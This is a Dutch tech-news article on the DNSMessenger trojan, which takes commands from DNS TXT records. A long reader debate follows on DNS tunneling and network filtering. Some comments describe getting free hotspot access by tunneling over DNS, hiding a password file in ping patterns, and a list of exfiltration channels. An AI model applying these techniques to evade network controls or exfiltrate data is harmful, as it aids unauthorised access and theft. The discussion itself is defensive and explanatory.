Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Beveiligingsbedrijf ontdekt trojan die communiceert via dns

Door , 100 reacties

De Talos-onderzoeksafdeling van Cisco heeft malware geanalyseerd die via dns communiceert. De zogenaamde Dnsmessenger-trojan kan zo PowerShell-scripts opvragen uit de txt-record om detectie te voorkomen.

In de analyse schrijven de onderzoekers dat de trojan op deze manier communiceert met de c2-server van de aanvallers. De malware is opvallend, omdat deze variant vergaande stappen neemt om verborgen te blijven. De trojan wordt verspreid door middel van een geïnfecteerd Word-document, dat de indruk wekt beveiligd te zijn met software van McAfee. Het bestand kan bijvoorbeeld door een phishing-e-mail naar een bepaald doelwit worden gestuurd.

De malware werkt met PowerShell om een backdoor aan te brengen in het systeem van het slachtoffer. Om dat te bereiken, controleert de kwaadaardige software eerst of er beheerderstoegang is en welke versie van PowerShell op het systeem draait. In de volgende fase maakt de Dnsmessenger-trojan gebruik van een willekeurige voorgeprogrammeerde domeinnaam voor dns-verzoeken. Door middel van het ophalen van de txt-record is het voor de aanvallers mogelijk om de trojan van verschillende commando's te voorzien.

De in de txt-records opgenomen PowerShell-commando's laten de aanvaller op die manier Windows-functies op het geïnfecteerde systeem aansturen. Ook is het mogelijk de gegenereerde output van applicaties vervolgens weer terug te sturen via een dns-verzoek. Volgens de onderzoekers is een dergelijke aanval moeilijk te detecteren, omdat organisaties vaak geen filters gebruiken voor dns. Daardoor is deze techniek geschikt voor doelgerichte aanvallen.

    Het kwaadaardige Word-bestand

Reacties (100)

Wijzig sortering
Dit valt te rekenen onder DNS-tunneling en werd vorige eeuw al gebruikt om firewalls en andere vormen van beveiliging te omzeilen. Het detecteren van opvallend dns-verkeer is dan ook al lange tijd onderdeel van intrusion detection systemen. Dat die te verbeteren waren kwam ook al jaren geleden aan de orde, bijvoorbeeld bij DefCon 17 in 2009. Heel veel 'nieuwe' technieken zijn al jaren oud, ze worden alleen weer anders ingezet. Kennis over het verleden is niet echt hoog te noemen bij veel nieuwelingen.
Klopt, het werkt ook bij ontzettend veel betaalde WiFi hotspots. Je kan gewoon op DNS naar buiten als je niet betaald hebt. Er zijn zelfs tunnel pakketjes om je hele IP sessie over DNS te tunnelen.

Ik gebruik het zelf nooit zo maar ik heb het wel eens getest hier en daar (gewoon kijken of je een geldig IP krijgt op een DNS verzoek) en het werkte bijna altijd.

[Reactie gewijzigd door GekkePrutser op 3 maart 2017 22:28]

Vroeger draaide ik altijd een OpenVPN server op port 53 (dns). Hierdoor kon ik op bijna alle paid hotspots via mij VPN gratis internetten. Geen idee of dit nog werkt trouwens.
Dank voor de tip :-)
Ik heb dit ook lange tijd gedaan maar dan voor school, we moesten daar verplicht met een remote systeem voor opdrachten werken maar CapGemini had alle none-standard poorten dichtgezet.
Lekkere communicatie heb je dan...

Maar toen heb ik de studenten gewoon uitgelegd dat als we de VNC servers draaien op poort 80 er niets aan de hand is en het gewoon weer werkt.
Hoe doe je dit dan precies als ik vragen mag? Lijkt me nuttig om te weten :)
Je bent het 'ik vraag het voor een kennis' nog vergeten ;)

Maar het is niet echt makkelijk. Je zal een eigen server op moeten zetten en dan aan beide kanten een programma als iodine moeten installeren. Voordeel van zoiets (I.t.t. gewoon openvpn op poort 53 zetten) is dat het ook werkt via de interne DNS server van de hotspot. Want dat soort tools werkt door middel van echte DNS requests.

Verwacht er niet teveel van, het zal niet snel zijn en is het gedoe meestal helemaal niet waard. Het is meer een theoretische mogelijkheid dan dat het echt praktisch is. Zoals ik al zei heb ik het nog nooit gebruikt (ik heb een zeer betaalbare roaming data sim en dat voldoet voor mij binnen Europa) maar ik hoorde van anderen dat het niet erg praktisch is.

Je kan natuurlijk dus ook kijken of poort 53/udp helemaal open staat. Dat komt ook wel voor en dan kan je wel snel met openvpn uit de voeten. Maar dat zal je niet zo vaak vinden als een echte DNS server.

Ik weet ook niet hoe het met de juridische kant zit. Je zal in elk geval de voorwaarden van de hotspot overtreden denk ik.

De reden dat ik weet dat het vaak open staat is dat ik een grote interesse heb in IT beveiliging en ik zit vaak in hotels in het buitenland voor mijn werk. Dan check ik wel eens of DNS ook juiste IP's terug geeft voordat je ingelogd bent. Dat zegt al genoeg. En dat is eigenlijk altijd wel zo.

[Reactie gewijzigd door GekkePrutser op 6 maart 2017 02:05]

Zelfs via caching DNS'en is dit tegenwoordig te detecteren.

Om die tunnel te bouwen moet de request elke keer net iets anders zijn (anders krijg je gewoon het cached antwoord terug). Dat betekent dat een tunnel een hele reeks 'opeenvolgende' aan TXT requests en TXT responses wordt, vergelijkbaar met bijv. een TCP sequence nummer. Een heuristische scanner haalt dit er wel uit.
Kennis over het verleden is niet echt hoog te noemen bij veel nieuwelingen.
Dat is het voornaamste probleem in de WESTERSE WERELD.

Als je op linked in wat o.a. CISSP's bij grote bedrijven/organisaties/overheden interessante artikelen vinden, ga je je afvragen hoe het er bij hun intern aan toe gaat.

Gebrek aan technische kennis is gewoon het probleem er is geen limiet aan wat mogelijk is indien je weet hoe het werkt en zelf daar de tools/aanvalsvector voor kunt maken.

En als je dat al niet weet (of bewust van bent) dan kun je alleen maar met commerciŽle verkrijgbare oplossingen een "acceptabel risico" nivo nastreven en niemand die daar kritisch en inhoudelijk wat van zal zeggen.

Probleem is dat in niet Westerse landen ze niet met Windows PC's beginnen, maar met low-end hardware met een b.v. een Linux en zo veel meer parate technische kennis en ervaring opdoet en zich niet hoeven te houden aan wat commerciŽle oplossingen mogelijk/niet mogelijk achtten.
Het probleem is dat de slogan, er is nog nooit iemand ontslagen omdat hij voor <insert groot commercieel pakket dat iedereen kent> koos, klopt.

Management mensen worden vertrouwd omdat ze voor zulke (dure) pakketten kiezen, en ontslagen wanneer ze dat niet doen en het toch eens misgaat. Het idee daarbij is dat duur en groot en gedragen door een groot bedrijf = goed.

Kijk bv. naar CISCO routers. Vorig jaar in het nieuws omwille van de domste securityfouten. Wat niet wil zeggen dat je Chinese goedkope rommel moet gaan gebruiken. Maar het dure en grootste CISCO blindelings vertrouwen bleek ook een erg slecht idee. Vervang CISCO gerust met een ander groot of groots of bekend of dure oplossing.
Daar begint de fout al, vertrouwen hebben in CISSP, tja als jouw hoofd van de beveiliging daarvoor manager sales was |:(
Zie het steeds vaker gebeuren, verschuilen zich achter de ISO 2700x/COBIT Standaarden en denken dat ze veilig zijn.
Zolang de wet ISO ... of iets anders verplicht, dan is het niet vreemd dat je voor een oplossing kiest die aan de richtlijn voldoet.

Doe je dit krijg je commentaar dat niet voor kwalitatief betere maar ongecontroleerde software gekozen wordt.

Alternatief is zelf iets ontwikkelen, daar certificering voor aanvragen en dan kun je het pas gebruiken.

Doe je dat krijg je dat iedereen het wiel opnieuw uit moet vinden, bij fouten ben je zelf verantwoordelijk en een klant moet vertrouwen dat je onbekende ontwikkelaar het net zo goed of beter doet dan de grote naam.
De wet die ISO...?
Volgens mij is het simpeler dan dat. Je mag doen wat je wil. Klantgegevens/persoonsgegevend moet je voldoende beveiligen.

Iets met beveiligde verbinding en versleuteld opslaan. Sleutels veilig opslaan en dan zorgen dat je weet wie er bij systemen mag en waarom. En bij houden wie het doet.

En dan iets met als risico bekend, voer tegenmaatregel uit (patch, filter, verwissel component).
Als je met een beetje een organisatie werkt (en dit begint al bij de grotere MKB en is verzekerd voor de grotere jongens) dan komen de certificerings-vereisten direct naar voren: en dat is als eerste de ISO certificaten. Als jij en/of je vendors waar je gebruik van maakt die niet hebben, dan ga je echt geen contract krijgen.
Iets met beveiligde verbinding en versleuteld opslaan. Sleutels veilig opslaan en dan zorgen dat je weet wie er bij systemen mag en waarom.
Uh .... duh. Dat is zo basis dat je dat niet eens hoeft te noemen. Regel 1 van de audit, om het zo maar te zeggen.
En bij houden wie het doet.
Dat is eigenlijk ISO certificering 1 (zeg maar al die 90xx normen).
De wet die ISO...?
Nooit iets voor de overheid gedaan zeker.
Maar dat ISO gebeuren staat toch niet in de wet?
Dat organisaties en overheden daar aan willen voldoen, kan ik snappen, maar een wet?

Als ik zie hoeveel bedrijven ik moet wijzen op wat jij regel 1 van de audit noemt. Dat is bijna wekelijks een nieuwe leverancier die er niet aan blijkt te voldoen. En dan leveren ze gewoon aan de top 100 grote bedrijven in Nederland, als ik ze vraag hoe ze dan aan WBP voldoen zonder versleutelde verbindingen als ze persoonsgegevens (agenda data + contact gegevens, leeftijd etc) kijken ze schaapachtig...

Helaas dus niet zo vanzelf sprekend, zelfs niet als het core business is van bedrijven om dit soort data te verwerken, ze dit al jaren doen en ook nog op Nederlandse bodem zijn gevestigd. Ja, ik heb ook echt oprecht geen idee hoe die partijen nog kunnen bestaan.

[Reactie gewijzigd door djwice op 5 maart 2017 20:31]

Jawel.

Mooi voorbeeld is de zorg (and andere sectoren) als het gaat om persoonsgegevens (denk Electronisch Patienten Dossier). Je bent dan verplicht om aan een NEN norm te voldoen en dat doe je oa door aan bepaalde ISO normen te voldoen.
Als ik zie hoeveel bedrijven ik moet wijzen op wat jij regel 1 van de audit noemt. Dat is bijna wekelijks een nieuwe leverancier die er niet aan blijkt te voldoen. En dan leveren ze gewoon aan de top 100 grote bedrijven in Nederland,
Afhankelijk van waar je mee bezig bent: bij veel zaken is het 'best practice' maar geen harde eis.

Zodra je echter belangrijke zaken doet (daar waar een technical audit dus speelt) ... dan moet je voldoen. Wat jij zegt over leveren aan top 100 NL bedrijven kan waar zijn, maar dan gaat het niet over critische/belangrijke zaken. Omdat als het wel zo ver is dan krijg je te maken met audits en zal je wel moeten voldoen. Al was het voor je eigen bescherming.

Het kan dus dat je er niet mee te maken hebt. Maar dan is er het volgende aan de hand: OF het is niet zo critisch OF de aanvrager is niet bekend met de wetgeving en doet verkeerd zaken OF ze checken niet goed wat ze wel verplicht zijn te doen OF je eigen bedrijf dekt zich niet goed wettelijk in EN word daar niet toe gedwongen terwijl de client dat wel had moeten doen.
]omdat organisaties vaak geen filters gebruiken voor dns.
Onzin.

Klein bedrijf en particulieren misschien niet.

Maar elke organisatie met een DMZ gebruikt interne en externe nameservers. En er is geen reden waarom een client rechtstreeks een query extern zou mogen doen sterker nog een beetje ids/firewall zal zoiets meteen detecteren om maar te zwijgen over een txt query.

Iets wat wel vroeger over het hoofd werd gezien is patern in icmp (ping -p) een password file coderen en op die manier door ids/firewall te trekken. HTTP get is ook een optie.

Verder is detectie instant. Botnet omzeep helpen is kwestie van domein blokkeren.
De cliŽnt doet helemaal geen rechtstreekse externe DNS-query. Dit verkeer gaat via de interne DNS-server, die de data vervolgens opvraagt bij de DNS-server van de aanvaller omdat DNS recursief is. TXT records blokkeren is ook geen afdoende beveiliging (bovendien werkt de interne DNS server dan niet volgens de standaard).

Deze communicatietechniek is inventief, maar niet nieuw. Met iodine is het al langer mogelijk om via DNS te communiceren. Als TXT records worden geblokkeerd, kan iodine ook communiceren via A-records (al is dat wat langzamer).

Er is een whitepaper over hoe je deze communicatie kunt detecteren, maar dat zijn geen heel eenvoudige methoden. Iemand met kennis van de detectiemethode kan hem in ieder geval omzeilen.
Bij een echt beveiligingsinfrastructuur weet je wat je gaat ontvangen/versturen en sta je dat alleen expliciet toe.

Bij een grote organisatie is er een strikte scheiding tussen intern en extern verkeer.

Een TXT query zal meteen in SIEM een alert veroorzaken, met als voordeel dat je meteen ziet welk client naar welke externe bron wil communiceren.

Als iemand in een dosbox:
nslookup
set q=txt
eendomain.com

een valide antwoord krijgt heeft organisatie een heel ander probleem.... namelijk helemaal geen security.

Zoals ik al aangaf, interne nameserver communiceerd met externe nameserver en er is geen enkele reden waarom een client naast A en CNAME een ander antwoord terug krijgt. Wederom er is geen sprake van enige beveiliging indien je meer terug krijgt.

Sterker nog als er een reverse proxy tussen staat krijgen ze in alle gevallen GEEN externe IP adres terug.

ps: het gaat niet om blokkeren het gaat erom dat indien je beveiliging serieus neemt je ooit eens een inventarisatie hebt gemaakt van welk verkeer (inhoudelijk) kunt verwachten en wat niet. Alles wat je niet expliciet toestaat dien je te monitoren en te blokkeren.

Zoals enkel toestaan van ICMP echo request (11) en echo reply (8) indien je dat echt nodig hebt. En niet heel ICMP.

[Reactie gewijzigd door totaalgeenhard op 3 maart 2017 20:25]

Sorry hoor, maar dit is echt onzin. DNS kent een hoop RR's naast A en CNAME, en jouw idee om alles dat geen A of CNAME RR is te filteren gaat geen werkbaar Internet voor je opleveren. Misschien is het voldoende om wat te browsen, maar dan hebben we het wel gehad. En dan moet je geen DNSSEC validatie willen doen, want dan ga je er met alleen A en CNAME niet komen.

Ook alleen ICMP 8 (Echo) toestaan is zo'n typische 'ik ben net afgestudeerd MBO systeembeheerder' oplossing dat meer problemen oplevert dan dat het voorkomt. ICMP is misscien wel het meest belangrijke protocol in je IP stack, en dat zou je niet klakkeloos moeten filteren.

Jouw voorbeelden zijn namelijk niet zinvol:

- Je kunt ook payload data in CNAME records plaatsen, door bv. data met base64 de en-/decoden. Dus deze DNS communicatievorm kan ook prima met CNAMEs.
- Juist ICMP echo is relatief gevaarlijk, omdat je daar payload data in kan stoppen. De meeste andere ICMP typen zijn wat dat betret veiliger. Het zal ook niet voor niets zijn dat Windows Server standaard icmp echo (en niet andere ICMP typen!) firewalled.

Een reverse proxy gaat ook de oplossing niet zijn, want met Alles-Moet-SSL tegenwoordig kun je middels een laag 7 proxy weinig meer monitoren. Tenzij je misschien intern een eigen CA gebruikt, maar dan breek je weer applicaties die SSL pinning doen. (Zoals bv. de RABO App)

Dus om je eigen woorden te herhalen, ook met jouw oplossing "Is er geen sprake van enige beveiliging".

En dat is niet erg, want je kunt dit niet beveiligen. Wanneer je een omgeving hebt die moet beschikken over Internet, dan kun je onmogelijk voorkomen dat er een of ander slim virus is dat payload data naar buiten stuurt. Dat kan namelijk:

- Middels DNS
- Middels ICMP ECHO
- Middels een SSL-enabled website (amper to tniet te controleren)
- Middels een obfuscated HTTP GET of POST request
- p2p messaging (bv. Telegram, Hangouts of WhatsApp misbruiken voor je botnet0
- Per email
- Cloud opslag diensten zoals Google drive, Dropbox
- Zaken als GoogleDocs (payload in spreadsheets bv.)
- Via third party services, denk aan berichten via Linkedin accounts, facebook accounts, twitter, etc, etc. Kortom alle publieke diensten waarbij hits op die domeinen niet op vallen, maar waarmee wel valt te communiceren met de buitenwereld. Als iemand kan posten dat het bijna vrijdagmiddagborrel is kan een virus ook payload data ophalen of posten van facebook.

Kortom, er is geen IDS of firewall die je volledig gaat beveiligen voor virussen die met de buitenwereld communiceren. Maar ICMP en DNS blokkeren is zinloos, onnodig en schiet je niets mee op.

[Reactie gewijzigd door Tozz op 3 maart 2017 23:02]

En dan moet je geen DNSSEC validatie willen doen, want dan ga je er met alleen A en CNAME niet komen.
Welke client OS doet volledige DNSSEC validatie? Geen windows in iedergeval.
Waarom wil je DNSSEC validatie pas bij je client gaan doen?
. ICMP is misscien wel het meest belangrijke protocol in je IP stack, en dat zou je niet klakkeloos moeten filteren.
En waarom hebben windows clients dat nodig?
Er is geen reden te verzinnen waarom je intern vanaf een (eind gebruikers) windows werkplek iets op het internet moeten kunnen pingen of vice versa.

En dat je infrastructuur ICMP in zijn geheel reject/dropt is een keuze die ieder voor zichzelf moet maken, voor de werking is het namelijk geen VEREISTE.
Jouw voorbeelden zijn namelijk niet zinvol:
Welke voorbeelden, want wat jij aangeeft heb ik al beschreven namelijk.
Alles-Moet-SSL tegenwoordig
In een grote organisatie wil je intern geen versleutelde verbindingen zien waarin je niet in kunt kijken. Dus sessies termineren op proxy en nieuwe sessie opbouwen is eerder regel dan uitzondering.

Lees eens wat meer van mijn reacties, het lijstje die je schrijft is wel degelijk te adresseren, zie oplossingen in mijn andere reacties.
Ik wil niet bij een bedrijf werken waar jij ICT beheerder bent.

Ik loop al continu tegen honderden beveiligings zaken aan waar ik continu gehinderd ben door de ICT afdeling en beveiligingen.

Hoe ga jij een bedrijf beveiligen waar ook software engineers werken dan? Veel bedrijven en steeds meer krijgen een eigen software afdeling.
Hoe ga je daar mee om dan?
Juist, interessant. Maar als software engineer zit je niet totaal afgelegen van de rest van het bedrijf. Hoe ga je de O van OTAP scheiden als je ook via je PC te doen hebt met de rest van het bedrijf?
Je O en T omgeving is logisch en bij voorkeur fysiek gescheiden.

Een werkplek PC en een ontwikkel PC in andere vlan maar liefst fysiek eigen switch/bekabeling. (Zie incident bij belastingdienst)

En software engineer mag niet bij P komen. In A zit overdracht en documentatie, procedures rollback etc.. Dus ik zou daar persoonlijk geen toegang aan software engineer geven maar aan proces eigenaar/opdracht gever die dat kan deligeren aan uiteindelijke beheerder.

Overigens heb ik in praktijk weleens functie / verantwoordelijkheden overlapping gezien.

Wc eend effect wil je niet.

Meest onethische wat ik aangeboden heb gekregen om voor 15.000 gulden per maand voor dezelfde detacheerder te gaan werken als NOC beheerders die mijn deliverables moesten accepteren en in productie nemen.

Je kunt jezelf maar 1 keer verloochenen. Klant is koning de rest doet er bij mij niet toe.

[Reactie gewijzigd door totaalgeenhard op 4 maart 2017 12:22]

In jouw oplossing termineer je alle veiligheidsmaatregelen zoals SSL, DNSSEC, etc op je border. Je doet volgens mij daarna de assumptie dat je interne verkeer veilig en vertrouwd is. Lijkt mij een gevaarlijke aanname.

Maar belangrijker: Je lost er niets mee op. Mijn voorbeelden met hoe het nog steeds mogelijk is om met de buitenwereld te praten werken nog altijd met al jouw maatregelen.

Dat terwijl jouw maatregelen wel allerhande problemen opleveren voor je gebruikers. Denk aan de RABO app die SSL pinning doet, terwijl jij alles opnieuw wil encrypten met een eigen CA. Timeouts in browsers doordat je ICMP blocked, etc, etc.

Kortom, wel extra problemen. Niets opgelost.
Wacht, jij wil alle interne verkeer onversleuteld zien? Dus van zodra iemand een switch of router in je netwerk heeft, heeft hij alle - letterlijk alle - data.

Wees er maar vrij zeker van dat bij jullie de hele zaak zo lek is als een zeef.

Dat je dat nog niet door hebt is enkel maar spijtig voor je bedrijf. Of je bedrijf heeft maar weinig te beveiligen. Dat kan natuurlijk ook.

Encryptie is de belangrijkste en eerste laag van vrijwel alle beveiliging. Zowel tussen als op systemen. Best zorg je er voor dat alle communicatie tussen twee systemen geŽncrypteerd is en verbied je best net alle ongeŽncrypteerde gegevenstransfers en opslag. Ook en zeker tussen interne toepassingen op het interne netwerk.

Maar goed, het is wel duidelijk dat we je niet gaan overtuigen. Niet erg hoor.
GeŽncrypteerd is niet hetzelfde als ongecontroleerd. Eerder in tegendeel. Je weet namelijk dat de twee partijen elkaar tot op zeker niveau moeten kennen en vertrouwen, anders zouden ze geen geŽncrypteerd kanaal kunnen hebben. M.a.w. een MITM tussen de twee partijen wordt veel moeilijker te realizeren. Bij onversleuteld verkeer is MITM te eenvoudig om zelfs een kind uit te leggen.

Een MITM door iets of iemand die beide partijen vertrouwen kan echter nog steeds.

Dat jij kan mee kijken wil nog niet zeggen dat je het zal zien. En wat jij te zien krijgt kan met behulp van steganografie-technieken dusdanig misleidend zijn dat je uren kan staren naar een stuk data en er nog altijd niet uit zal kunnen opmaken of het nu LOLCAT foto's zijn of een geval van data exfiltratie. Door te encrypteren weet je alvast dat de verzender en de ontvanger elkaar vertrouwen en kennen.
A, AAAA en CNAME bedoel je, hoop ik? En ook dit is niet 100% correct, hier intern gebruik ik A, AAAA, CNAME's en TXT records. Die laatste voor het opslaan van SSH keys (https://www.freeipa.org/i...ipa30_SSH_Public_Keys.pdf) als er geen SSHFP sleutels aangemaakt kunnen worden (fallback dus).
Waarom zou een werkplek op kantoor SSH keys opslaan in TXT records moeten gebruiken?

De fout die mensen vaak maken is te rederenen vanuit BEHEERDER.
Terwijl deze in een werkplekautomatisering omgeving juist buiten beschouwing gelaten moet worden in het kader van functionaliteit die hij denkt nodig te hebben.

Met andere woorden als je iets toestaat (of moet staan) zodat beheerder zijn werk kan doen en dit gaten in beveiliging maakt dan doe je iets structureels fout.

Waarom AAAA record toestaan als je geen IPv6 intern hebt? Meeste organisaties zijn te klein om "omdat het kan" IPv6 intern te gaan gebruiken. RFC1918 voorziet in voldoende ruimte.

Zoals ik al schreef als je reverse proxy gebruikt waarom je alles (dus ook SSL) op termineert heb je geen ongecontroleerde verkeer, laat staan dat een client middels A/CNAME naar buiten KAN communiceren.

Rechtstreeks een client het internet op laten gaan is sowieso een risico, als dat mogelijk is dan is een trojan die middels DNS naar buiten kan communiceren het minste probleem waar men zich druk over zou moeten maken.
De fout die mensen vaak maken is te rederenen vanuit BEHEERDER.
Terwijl deze in een werkplekautomatisering omgeving juist buiten beschouwing gelaten moet worden in het kader van functionaliteit die hij denkt nodig te hebben.
Maar je roept zelf om het hardst dat er geen enkele reden is om iets anders dan A of Cnames toe te staan, dat IPv6 onnodig is, dat er geen reden kan zijn om een directe verbinding naar buiten toe te staan.

Is dat niet het schoolvoorbeeld van het redeneren vanuit de beheerder (security officer) en niet van uit de gebruiker?
Zoals ik al schreef als je reverse proxy gebruikt waarom je alles (dus ook SSL) op termineert heb je geen ongecontroleerde verkeer, laat staan dat een client middels A/CNAME naar buiten KAN communiceren.
Rechtstreeks een client het internet op laten gaan is sowieso een risico,...
Ik weet niet welke niet-Windows omgevingen je bent tegen gekomen, maar ik heb er voldoende gezien waar een verbinding via een proxy echt een no-go is.
Juist vanuit beveiligingsoogpunt.
Als je echt een veilige verbinding wilt hebben, dan ga je dat toch niet termineren op een 'niet-vertrouwd' systeem?
Omdat het niets met functionaliteit te maken heeft.
Voor functionaliteit heeft client niet eens een resolver nodig, host file zou in principe al voldoende zijn. (alleen onpraktisch.)

Als je gebruiker (interne klant) als niet kan specificeren wat hij nodig heeft, kun je ook geen feasibility study maken en dus er een prijskaartje aanhangen.

Thuis en in kleinbedrijf maakt het niet zoveel uit, maar bij grote organisaties werkt dat dus niet zo.

Proxy in je DMZ waar content filter en/of sandbox inzit is gangbaar.

Het is geen proxy die bij een derde partij zit (tenzij je security hebt uitbesteed)

[Reactie gewijzigd door totaalgeenhard op 3 maart 2017 22:43]

RFC1918 voorziet geheel niet in voldoende ruimte. Grote organisaties hebben vaak nogal wat site-2-site VPNs met partners en dezelfde subnets aan beide kanten is een veel voorkomend probleem voor grote organisaties met draken van source en destination NAT tabellen en drama DNS tot gevolg.

Laat IPv6 waar iedereen zijn eigen publieke/unieke reeks kan krijgen dat nou bijzonder efficiŽnt oplossen. Even afgezien van het IPv4 tekort wat er aan zit te komen dan (nou ja komen, voor Afrika/AziŽ is het al een probleem).
10/8 niet voldoende voor intern gebruik ?

IPv6 kost meer resources, is trager, weinig proven technologie (wat een eis is bij grote partijen) en IPv6 adressen onthoud men iets slechter :)

Noem me een organisatie die aan 10/8 niet voldoende heeft.

Zelfs je ADSL/Kabelprovider gebruikt RFC1918 naar hun randapparatuur (waaronder je modem/router) om daarover gre/pptp te gebruiken.
Ik heb onderzoek gedaan naar IPv6 en ťťn van de zaken dat ik (kort) getest heb is IPv6 performance. Op dezelfde router presteerde IPv6 10% beter (vergeleken met IPv4 zonder NAT), aangezien je op IPv4 praktisch altijd NAT gebruikt en op IPv6 niet is de snelheidswinst zelf 88%. (https://endeavour.webmind...Pv4vsIPv6-performance.pdf).

En hoezo kost het meer resources? IPv6 kost potentieel minder resources want de globale routing tabel is veel beter georganiseerd. De IPv4 versnippering is alle geheugen van routers aan het opvreten en performance aan het killen, ondertussen zitten we aan > 650k prefixes als je een global table wil binnentrekken (http://www.cidr-report.org/as2.0/). Tegenwoordig zitten er al kleinere subnetten dan /24 in de global table, hoe belachelijk is dat niet.

Weinig proven gaat ook niet op want vele organisaties hebben ondertussen al IPv6 draaien. Facebook draait zelf volledig met enkel native IPv6, IPv4 connectiviteit gebeurt op de edge. En Facebook heeft het meeste van al te verliezen mocht hun netwerk platgaan :-).

Overigens is het niet van "10.0.0.0/8" is niet voldoende, het is veel oude organisatie van netwerken dat problematisch is. En dan hebben we het nog niet over koppige fabrikanten met gespecialiseerde apparatuur die moetens en willens dezelfde IP adressen houden, kom je in situaties terecht waar je plots ik zeg maar iets een 192.168.123.0/24 netwerk er mag bij proppen en aangezien een andere site ook aan die apparatuur moet kunnen en ook op 192.168.123.0/24 zit HUPSAKEE nog wat NAT regels er bij.

[Reactie gewijzigd door RedShift op 3 maart 2017 21:57]

RedShift, even een off-topic, maar jij bent een man met kennis :-)

Als je deze performancetest doet op een ::ffff:<IPv4 adres> adres, is dit dan ook de performance van IPv6, of wordt dit door de client of router al vertaald naar het ipv4 adres? En is het dan ook -afhankelijk van waar dit vertaald wordt- dat je deels op IPv6 werkt en dus deels een performance verbetering hebt (natuurlijk niet als dit al bij de client gebeurd :-))
Het heel IPv6->IPv4-vertaal-gebeuren is me blijkbaar ontgaan :-)
Het is de router die dat pakketje met bestemming ::ffff:<ipv4> gaat omzetten naar native IPv4. Aangezien het dus een extra vertaalslag inhoudt is dat geen equivalente test aan native IPv6 <-> native IPv6. Zou wel eens interessant zijn om te testen.

Met de natte vinger verwacht ik een lagere performance vanwege de vertaalslag maar niet zo dramatisch als NAT op IPv4, want IPv4-mapped IPv6 adressen omzetten naar IPv4 is gewoon een rekensommetje, terwijl bij NAT er nog een lookup table bij te pas komt die de connection state bijhoudt.
Ja, de resultaten liggen ergens tussenin volgens mij. En als de volledige route IPv6 is, gaat de router dan altijd er een IPv4 van maken, of kan hij zo ook aankomen? Zo ja, zou daar verschil op zitten?
Lijkt me inderdaad een interessante om te testen :-)
Moest je jouw onderzoek uitbreiden, geef me dan een seintje, ik ben wel geÔnteresseerd :-)
En bedankt voor je antwoord hť
Wat heeft interne routing hier mee te maken? Iedereen met een serieuze internetconnectie (datacenters, organisaties die multihomed zijn, zelf providers voor transit kiezen en willen peeren) krijgt te maken met een BGP feed die ze moeten ontvangen. Dat kan je dus niet zomaar van de tafel vegen.

Waarom is Facebook geen mooi voorbeeld? En dan dat ze hun eigen switches maken? Staat toch compleet los van het feit dat ze een mooie IPv6 implementatie gedaan hebben?

Jij had het over dat IPv6 meer resources kost, trager is en weinig proven technologie. Dat is totaal onwaar en je hebt geen enkel bewijs dat dit zo is. Legacy/noodzaak/kosten/baten is een totaal andere zaak. Maar technisch is er weinig mis met IPv6.
Het Amerikaanse leger, heeft niet voldoende aan 10/8. Hoewel, dat is zo'n 16 miljoen adressen zeker? Mja, is toch vrij veel ja.
Die hebben dat toch ook niet nodig? Die barsten van de Class A's. 13 om precies te zijn: https://en.m.wikipedia.or...ed_/8_IPv4_address_blocks
Die hebben dat toch ook niet nodig? Die barsten van de Class A's. 13 om precies te zijn: https://en.m.wikipedia.or...ed_/8_IPv4_address_blocks
Dat zegt niet of ze die ook helemaal gebruiken. Het was toen internet begon gebruikelijk dat de Amerikaanse overheid, universiteiten en grote bedrijven zoals HP hele blocks kregen ipv gewoon een paar IP-ranges. De IPv4 space werd immers als groot genoeg beschouwd, men hield er geen rekening mee dat mensen thuis zouden gaan internetten en er webhosting diensten zouden komen. Een aantal organisaties, waaronder het Amerikaanse leger, heeft inmiddels zelfs al blocks aan IANA teruggegeven zodat het IPv4 tekort kon worden vertraagd. Zo was de 10/8 prefix ooit van ARPANET. ;)
Waarom zou een werkplek op kantoor SSH keys opslaan in TXT records moeten gebruiken?
Sorry, dat had ik wat beter uit moeten leggen. De werkplek op kantoor vraagt alleen de SSH sleutels maar op uit DNS. Het is dus vragen, niet sturen. En waarom? Zodat ik niet overal op elke werkplek mijn password in hoef te geven als ik een SSH verbinding naar een server wil openen. De SSH key staat in een SSHFP record namelijk. Is ook handig bij het verwijderen van mensen, ťťn DNS record verwijderen en die persoon heeft geen SSH mogelijkheden meer.

Toegegeven, in een Microsoft wereld kom je dit niet vaak tegen. Ik heb het zelf hier thuis draaien, en op het werk ben ik het waar nodig aan het inbouwen.
Toegegeven, in een Microsoft wereld kom je dit niet vaak tegen. Ik heb het zelf hier thuis draaien, en op het werk ben ik het waar nodig aan het inbouwen.
Ik zit niet in Microsoft wereld.

Maar ik zou degene die dit op onze infrastructuur of bij klanten zou toepassen op staande voet ontslaan.

Geen wachtwoorden invoeren == geen enkele beveiliging.

Preshared keys gebruiken voor b.v. RSYNC processen doe je alleen als het een PULL is en men niet remote bij die bak kan komen. Maar dan nog zou je liever middels virtualisatie die RSYNC proces buiten doel OS willen trekken, zodat je risico verder minimaliseert.

Ook in SystemV/BSD omgevingen zie ik geen reden om ssh keys in TXT op te slaan. Sterker nog, je identificeert daarmee meteen waar ze naar op zoek moeten gaan. Even een "last -10" en ze weten meteen welke systeem ze moeten hebben. Als het je beheer laptop is (wat ik niet voor je en jouw clienten hoop) kun je mogelijk fysiek bezoek verwachtten indien infrastructuur interessant genoeg is.
Je kan van iedereen in je organisatie die een private key moet beheren vragen en verwachten dat ze die met een passphrase encrypteren. Of je kan verwachten dat de private keys op externe gegevensdragers moeten (pasje of MicroSD kaartje ofzo).
Hoeveel mensen lopen er met een private key rond in je organisatie?
En is dat alleen voor authentificatie of ook voor versleutelen van bestanden.


Maar als het voor authentificatie is kun je betere noodzaak verminderen/wegnemen.

Beheerders die regelmatig (dagelijks) met hoogste gebruikersrechten op een SystemV/BSD machine komen (mits het geen test omgeving is) zou ik niet in mijn omgeving willen hebben, die vormen een op zich zelf risico.

Als jij je public key in the authorized_keys file gooit kun je er bij.
Je private key kun je gewoon op ťťn beheer server in beheer netwerk met een chokerouter ervoor. (wel fysiek gescheiden en niet middels een VLAN!)

Als ik je goed begrijp heb jij private keys zonder wachtwoord als TXT ?

[Reactie gewijzigd door totaalgeenhard op 3 maart 2017 22:02]

